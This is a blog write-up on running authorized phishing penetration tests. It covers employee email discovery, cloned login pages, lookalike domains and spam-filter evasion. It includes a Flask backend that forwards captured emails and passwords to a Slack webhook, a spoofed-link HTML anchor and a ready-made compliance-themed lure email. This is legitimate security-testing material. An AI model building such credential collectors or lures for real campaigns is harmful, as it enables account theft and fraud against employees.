- Published on
Gone Phishing - Email writeup
- Authors
- Name
- Damjan Smickovski
- @smickovskid
Introduction
Together with a couple of colleagues I have been doing some phishing penetration testing engagements on the side for some time now, so I decided to share some insights and methodologies that have worked for us and might help someone else. This writeup will be around social engineering, specifically email phishing campaigns.
Measuring success can be relative when performing a social engineering campaign due to the fact that different criteria apply for a red team engagement than for a standalone phishing campaign which has a goal of only obtaining the credentials of compromised users, rather than using them to gain access to internal systems and / or escalate privileges further. We will be talking about the latter, a standalone phishing campaign.
We've gotten some great results for such campaigns in the past with a success rate of around 15% - 25%.
Disclaimer: This writeup is only for educational purposes and should always be performed with prior approval from both parties and signed consent.
Scope
We will be talking about 2 types of phishing campaigns that we have participated in. Similar to how regular penetrations are scoped,
Grey box
During a grey box engagement there are a few options the client can provide:
- List of users they want targeted
- Whitelisting the phishing domains
This is easier in terms of setup and effort, however we have to remember the end goal is to test employee awareness and in some cases the time window for the test is limited so there is no option to perform deep OSINT and prepare the domains.
Black box
As for a black box it boils down to OSINT and obtaining all the employee information manually.
There are a handful of tools that can achieve this, some common ones are hunter.io, phantombuster. Another interesting platform to look for emails can be paid services like dehashed and haveibeenpwned where a wildcard domain search can be performed. You'd be surprised how many people use their employee email to register for private means.
Usually these services reveal a good amount of emails which can be cross-checked with Linkedin to only target current employees of the company.
Companies like to use the same format of the emails for every employee. An example would be emails that are {name}.{surname}@{domain}.com
e.g john.doe@example.com
. By obtaining a couple of emails the logic can be derived to construct additional matches via the Linkedin company page.
Email validity
After generating a list of emails the next step would be to check whether the emails exist. There are a bunch of tools that can help with this such as email-checker. Obtaining the email provider can be easily done by checking the mx records of the domain e.g via mxtoolbox.
Reconnaissance
We've covered a bit on the email discovery in the previous section, however now we will dive down into the remaining areas around reconnaissance.
Target
During the reconnaissance phase the first thing that needs to be defined is the phishing target. An ideal scenario would be an internal employee site that is not behind a VPN e.g for HR, billing...
Tools like massdns, amass, findomain can be used to discover domains of interest.
Cloning
When the phishing target is set the interesting part follows. Frameworks like Gophish are excellent, however I believe a custom solution leads to a better success rate which is a similar approach when crafting a malicious payload for AV evasion. Sometimes gophish landing page signatures might get detected by email providers when the link is checked by the automated systems and in a real campaign we only get one try, so it is best to go the custom route.
This requires some development experience, however it should not get very complex due to the only goal being to clone a login form in most cases. Going forward with a framework like NextJS is more than enough usually. The options NextJS
offers are both client and server components and starting the work is quick.
You can go the extra mile and use wappalyzer to check the target stack and set it up the same way, but that would probably only make a difference when the targeted users are tech savvy that might check all of the details.
Frontend
There is no one size fits all on cloning the website, however I will mention a few pointers that might make the site more convincing:
- Do not leave any broken links
- Perform a spell check
- Use color picker for the colors
- Comparison checks on multiple browsers and device sizes side by side
- Make sure the css contains the same animations and responsiveness
- Implement artificial loaders between screens e.g if username is entered on one page and the password on another.
- Create a success screen and redirect to the original site
In order to track user / device details, you can use a free service like ipapi.co which will return information about the client upon navigation or when a submit happens. We also need a way to differentiate between users so a usual approach would be to add query param parsing e.g https://example.com?uuid=johnDoe
. This way we know who is visiting the site. More on how this is sent later in the email portion of the campaign.
Finally we store the credentials in the frontend state and hash the password with a random salt to not risk spilling it e.g in JS/TS bcrypt.hashSync(password, 10)
and send out the geo data + credentials to our backend collector.
Note: Sometimes there might be a 2FA flow that needs to be cloned and a real request sent out to the provider, however that would be more applicable for a red team engagement, for our cause we don't have to send anything to the actual 2FA / email providers since the goal is to test the employee awareness and exfil the data.
Backend
You can choose whatever you want for the backend, however the fastest way to set up something would probably be in Python using Django or Flask
You would mainly need to track a few metrics such as visits, clicks and submits, so an endpoint for each would suffice. Finally we need to store or send that information somewhere securely. You can set up a private slack Webhook where the server would send the details.
Here is an example that logs the visit and uuid in a file and sends the logging details to Slack.
from flask import Flask, request, jsonify
from flask_cors import CORS
import requests
import os
import json
app = Flask(__name__)
CORS(app)
SLACK_WEBHOOK_URL = os.getenv("SLACK_WEBHOOK_URL")
@app.route("/login", methods=["POST"])
def submit():
data = request.get_json()
if not data:
return jsonify({"error": "Invalid JSON"}), 400
email = data.get("email")
password = data.get("password")
if not email or not password:
return jsonify({"error": "Missing email or password"}), 400
payload_json = json.dumps(data, indent=2)
slack_message = {"text": f"```json\n{payload_json}\n```"}
try:
resp = requests.post(SLACK_WEBHOOK_URL, json=slack_message)
resp.raise_for_status()
except requests.exceptions.RequestException as e:
return jsonify({"error": f"Failed to send to Slack: {e}"}), 500
return jsonify({"status": "Sent to Slack"}), 200
@app.route("/userData", methods=["GET"])
def analytics():
referrer = request.args.get("uuid", "").strip()
if not referrer:
return jsonify({"error": "Missing or empty 'referrer' parameter"}), 400
file_path = os.path.join(os.path.dirname(__file__), "analytics.txt")
try:
with open(file_path, "a", encoding="utf-8") as f:
f.write(referrer + "\n")
except Exception as e:
return jsonify({"error": f"Failed to write to file: {e}"}), 500
slack_message = {"text": f"Received visit: `{referrer}`"}
try:
resp = requests.post(SLACK_WEBHOOK_URL, json=slack_message)
resp.raise_for_status()
except requests.exceptions.RequestException as e:
return jsonify({"error": f"Failed to send to Slack: {e}"}), 500
return jsonify({"status": "Referrer logged and notified"}), 200
if __name__ == "__main__":
app.run(host="0.0.0.0", port=3000, debug=True)
Infra
For the infra there are a ton of options, that is why I will list an example setup that will work most of the time:
- AWS Amplify, Azure static websites, Vercel for the Frontend. This allows quick deployments after a commit with an option to hook up a domain.
- AWS EC2, Azure Virtual Machines for the Backend. Make sure to set a public IP that is also static.
- Nginx as a reverse proxy to serve the site securely behind https.
- Namecheap, Godaddy for the domain acquisition.
If you want to go the extra mile, you could perform some more OSINT to get the domain registrar of the original domain (icann) and register your domain name with the same registrar. Furthermore you can try and match the cloud provider for the infra based off of the email provider e.g if Gsuite is used to set up the infra in Google Cloud or by scanning the IP addresses of any discovered sites and comparing them with the cloud providers to find the right one.
I will not go into detail on how to set up all of this since it is out of the scope for this writeup. Feel free to drop me a DM with any questions and I will be happy to discuss details and ideas.
Domain
The goal is to make everything as convincing as possible, so a proper domain and wildcard certificates should be purchased and set up instead of shortened URLs, IPs (ewww) or self signed certs. There are a few options when choosing the domain.
Let's say we want to phish the vallorify.com
as the target and we found an employee portal under employee.vallorify.com
. We have a few options:
- Same name under different TLD -
vallorify.co
,vallorify.cc
- Homoglyph -
vaIIorify.com
- Insertion -
valllorify.com
- Omission -
valorify.com
SSL
Domain registrars offer options to purchase an SSL certificate for the domain, so make sure to purchase a wildcard certificate since we will require it for hosting our Backend and Frontend under different subdomains.
Email provider
Register the domain with an email provider such as GSuite or Microsoft365 based on the reconnaissance to match with the target provider. Make sure to also set up DMARC, DKIM, and SPF which helps with email deliverability and spam evasion.
Campaign
We first need to define the type of phishing campaign we will be executing. Since we are doing a bulk campaign we will not be talking about spear-phishing strategies which require a lot of customization per user. This is highly dependent on the client and the expertise of the employees.
Targeting an IT outsourcing company will be significantly harder than a company with customer support.
A good approach is to separate the users in groups by assuming their technical levels where less technical departments would get contacted first. IT personnel should always be left to be contacted last to avoid raising alarms and compromising the campaign. An example grouping ordered by contact priority:
- HR
- Accounting
- Customer support
- Finance
- Marketing
- Sales
- IT
Email details
Before we start working on the subject and body, we need to define the type of campaign we will be sending. This varies based on the client, however a universal approach would be an internal communication instructing employees to update their information or agree to something due to a required compliance check. People might be more inclined to follow instructions if they are coming from the IT department so we can create an email like support@vaIIorify.com
as the sender.
Subject
When we enter the email subject category we need to make sure we convey urgency without using any words that might get our email flagged. There are tools like spam-word-checker, mailmeteor which can do a check for frequently flagged words.
For the subject let's go with:
Compliance Reminder: Verify your employee profile
Body
Same principle applies when constructing the body. We've all received these types of internal emails which contain the generic wording about some policy or compliance check that instruct us to update some information in an internal system so we can try to follow that format to sound convincing. Something like:
As part of our quarterly compliance audit, all employees are required to verify and update their information in our HR system. Make sure to navigate to the employee portal below to review your details and make any necessary changes:
https://employee.vaIIorify.com
The deadline for submission is on the 18th.
Best regards,
HR Department
Things can of course be improved, so I just show an example of how it would look like, feel free to tweak it.
Link spoofing
When showing the link we have 2 options:
Original link with domain: This boosts the deliverability by a little amount, however might raise suspicion if people notice it is not the same domain
Spoofed link: Spoofing the link by using html can make it look like the real domain but lead to something else e.g <a href="https://employee.vaIIorify.com?uuid={{firstName}}">https://employee.vallorify.com</a>
. This is more convincing but loses a few points from email providers due to the spoofed link.
Email warmup
The most important part is to warm up the domain and email, very similar to how it is done in sales and cold marketing. There are tools like instantly.ai which offer warm up services as part of their package. The usual duration is to have around 2 weeks of warmup with gradual increase per day reaching around 30 emails nearing the end.
Such tools allow us to link our email and set it up for warmup without much hassle. They additionally offer setting up email campaigns with customizable options as well as adding leads (in our case targets).
Based on our grouping earlier we can create campaigns for each department and customize them as per our needs.
Sanity check
Before we kick off the campaigns it is good to manually send the email to an existing account on the target email provider. Make sure to send both to a personal and company email.
From experience, Google detection is less strict than Microsoft, so you might need to tweak things to boost your deliverability. I am no expert on this so you can find some useful resources online that will help.
Make sure to also send the email to tools that check the score of the email like mail-tester and kick off a dummy campaign to make sure everything is functioning as expected.
Schedule
Schedule the campaigns based on the working hours of the company. Try to target start / mid of the week where people are still fresh and more inclined to follow instructions.
You can go the extra mile by creating a follow up email that will send a reminder after 1 or 2 days to employees that were not compromised.
Leaving the infrastructure for a week after starting should be enough for any employees that don't read their emails right away.
Start
With everything ready we are able to kick off the campaign. At this point there is not much more we can do and it is out of our hands. It is a thrill when you see a visit come in and the suspense on whether the information will be submit.
Make sure to discuss with the client to forward you any reports employees have made about the email being suspicious so you can track the reporting metrics.
Report
The report should have technical aspects, but also understandable by non technical people. There should be details around the phishing site and some insight into the infra, but no need to go in full detail.
The most important part would be the graphs and charts which outline the visits, clicks and compromises. Make sure to also include how many employees flagged the email as suspicious.
Summary
There are probably a ton of other things we can do, however I tried to keep this on the shorter side and not as a full blown tutorial.
The topic of email phishing is for sure an interesting one since most of the hacks come from insider threats where employee accounts are compromised.